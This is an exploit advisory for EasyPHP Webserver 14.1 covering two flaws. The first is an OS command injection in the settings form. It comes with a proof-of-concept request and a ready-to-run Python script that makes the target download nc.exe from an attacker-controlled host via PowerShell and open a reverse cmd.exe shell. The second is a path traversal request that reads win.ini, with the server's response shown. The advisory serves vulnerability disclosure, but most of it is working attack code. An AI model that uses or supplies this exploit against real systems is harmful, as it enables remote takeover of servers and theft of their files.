EasyPHP Webserver 14.1 - Multiple Vulnerabilities (RCE and Path Traversal)

# Exploit Title: EasyPHP Webserver 14.1 - Multiple Vulnerabilities (RCE and
Path Traversal)
# Discovery by: Rafael Pedrero
# Discovery Date: 2022-02-06
# Vendor Homepage: https://www.easyphp.org/
# Software Link : https://www.easyphp.org/
# Tested Version: 14.1
# Tested on:  Windows 7 and 10

# Vulnerability Type: Remote Command Execution (RCE)

CVSS v3: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-78

Vulnerability description: There is an OS Command Injection in EasyPHP
Webserver 14.1 that allows an attacker to achieve Remote Code Execution
(RCE) with administrative privileges.

Proof of concept:

To detect:

POST http://127.0.0.1:10000/index.php?zone=settings HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://127.0.0.1:10000
Connection: keep-alive
Referer: http://127.0.0.1:10000/index.php?zone=settings
Host: 127.0.0.1:10000

app_service_control=calc.exe

The calculator opens.

Exploit:

# !/usr/bin/python3
import requests
import sys

if len(sys.argv) != 5:
    print("RCE: EasyPHP Webserver 14.1 and before - by Rafa")
    print("Usage:   %s <TARGET> <TARGET_PORT> <LOCAL_IP> <LOCAL_PORT>" %
sys.argv[0])
    print("Example:   %s 192.168.1.10 10000 192.168.1.11 9001" %
sys.argv[0])
    exit(1)

else:
    target = sys.argv[1]
    targetport = sys.argv[2]
    localip = sys.argv[3]
    localport = sys.argv[4]
    # python3 -m http.server / python2 -m SimpleHTTPServer with nc.exe in
the directory

    payload =
"powershell+-command+\"((new-object+System.Net.WebClient).DownloadFile('http://"
+ localip + ':8000' +
"/nc.exe','%TEMP%\\nc.exe'))\";\"c:\windows\\system32\\cmd.exe+/c+%TEMP%\\nc.exe+"
+ localip + "+" + localport + "+-e+cmd.exe\""
    print (payload)
    url = 'http://' + target + ':' + targetport + '/index.php?zone=settings'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4433.0 Safari/537.36"
    }
    data = {'app_service_control':payload}

    try:
        r = requests.post(url, headers=headers, data=data)
    except requests.exceptions.ReadTimeout:
        print("The payload has been sent. Check it!")
        pass


# Vulnerability Type: Path Traversal

CVSS v3: 6.5
CVSS vector: 3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWE: CWE-22

Vulnerability description: An issue was discovered in EasyPHP Webserver
14.1. An Absolute Path Traversal vulnerability in / allows remote users to
bypass intended SecurityManager restrictions and download any file if you
have adequate permissions outside the documentroot configured on the server.

Proof of concept:

GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini
HTTP/1.1
Host: 192.168.X.X:10000
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML,
like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

HTTP/1.1 200 OK
Host: 192.168.X.X:10000
Connection: close
Content-Type: application/octet-stream
Content-Length: 499

; for 16-bit app support [fonts] [extensions] [mci extensions] [files]
[Mail] MAPI=1 CMCDLLNAME32=mapi32.dll CMCDLLNAME=mapi.dll CMC=1 MAPIX=1
MAPIXVER=1.0.0.1 OLEMessaging=1 [MCI Extensions.BAK] 3g2=MPEGVideo
3gp=MPEGVideo 3gp2=MPEGVideo 3gpp=MPEGVideo aac=MPEGVideo adt=MPEGVideo
adts=MPEGVideo m2t=MPEGVideo m2ts=MPEGVideo m2v=MPEGVideo m4a=MPEGVideo
m4v=MPEGVideo mod=MPEGVideo mov=MPEGVideo mp4=MPEGVideo mp4v=MPEGVideo
mts=MPEGVideo ts=MPEGVideo tts=MPEGVideo